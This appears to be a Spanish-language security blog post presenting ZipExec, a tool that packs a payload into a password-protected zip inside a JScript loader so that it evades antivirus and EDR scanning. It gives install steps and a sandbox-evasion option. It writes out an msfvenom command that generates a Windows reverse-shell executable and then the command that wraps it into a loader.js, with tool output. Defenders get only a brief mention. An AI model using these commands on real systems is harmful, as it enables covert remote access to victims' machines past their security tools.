ZipExec: técnica para ejecutar binarios desde un zip protegido con contraseña

ZipExec es una herramienta escrita en go para evadir los mecanismos anti-malware mediante la ejecución de payloads binarios almacenadas en archivos zip protegidos con contraseña sin extraerlos. 

Este archivo zip luego se encodea en base64 en un string que se reconstruye en el disco. Una vez decodeada, se carga en un archivo JScript que, cuando se ejecuta, reconstruye el archivo zip protegido con contraseña en el disco y lo ejecuta. 

Esto se hace con programación mediante el uso de objetos COM para acceder a las funciones basadas en GUI en Windows a través del cargador JScript generado, ejecutando el cargador dentro del zip protegido por contraseña sin tener que descomprimirlo primero. 

Al proteger con contraseña el archivo zip, protege el binario de los EDR y los mecanismos de escaneo anti-malware o basados en disco.

En resumen: Loader(JScript((Base64(EncryptedZip(Shellcode)))))

Instalación
El primer paso como siempre es clonar el repositorio. Antes de compilar ZipExec, deberemos instalar las dependencias:

go get github.com/yeka/zip
y el típico build:
go build ZipExec.go
o
go get github.com/Tylous/ZipExec 
Uso
./ZipExec -h

__________.__      ___________                     
\____    /|__|_____\_   _____/__  ___ ____   ____  
  /     / |  \____ \|    __)_\  \/  // __ \_/ ___\
 /     /_ |  |  |_> >        \>    <\  ___/\  \___
/_______ \|__|   __/_______  /__/\_ \\___  >\___  >
        \/   |__|          \/      \/    \/     \/
                (@Tyl0us)

Usage of ./ZipExec:
  -I string
        Path to the file containing binary to zip.
  -O string
        Name of output file (e.g. loader.js)
  -sandbox
        Enables sandbox evasion using IsDomainedJoined.
La opción -sandbox simplemente verifica que el equipo donde se ejecuta nuestro payload está en dominio.
Para probar la tool vamos a hacer con una sencilla shell reversa:
$ msfvenom -p windows/shell_reverse_tcp LHOST=$LOCALIP LPORT=4444 -f exe -o shell_reverse.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 324 bytes
Final size of exe file: 73802 bytes
Saved as: shell_reverse.exe
Ahora generamos nuestro loader:
$ ./ZipExec -I shell_reverse.exe -O loader.js -sandbox

__________.__      ___________                     
\____    /|__|_____\_   _____/__  ___ ____   ____  
  /     / |  \____ \|    __)_\  \/  // __ \_/ ___\
 /     /_ |  |  |_> >        \>    <\  ___/\  \___
/_______ \|__|   __/_______  /__/\_ \\___  >\___  >
        \/   |__|          \/      \/    \/     \/
        (@Tyl0us)
        
[*] Creating Zip File Password
[+] Password is: hXhXDmpR
[*] Zipping Binary
[*] Encoding Binary
[*] Creating JScript Loader
[*] Add Sandbox Controls (i.e. is the Endpoint Domain Joined)
[+] Loader Compiled
El fichero .js generado tiene la siguiente pinta:

Evidentemente al ejecutarlo y reconstruirse nuestro payload puede ser detectado si no nos lo curramos un poquito.

Pero si le damos un par de vueltas tendremos una técnica no muy complicada e interesante:   

Por último para los azulones, gracias al colega Samir vemos las trazas de sysmon de otra ejecución: 

Repo: https://github.com/Tylous/ZipExec

Comentarios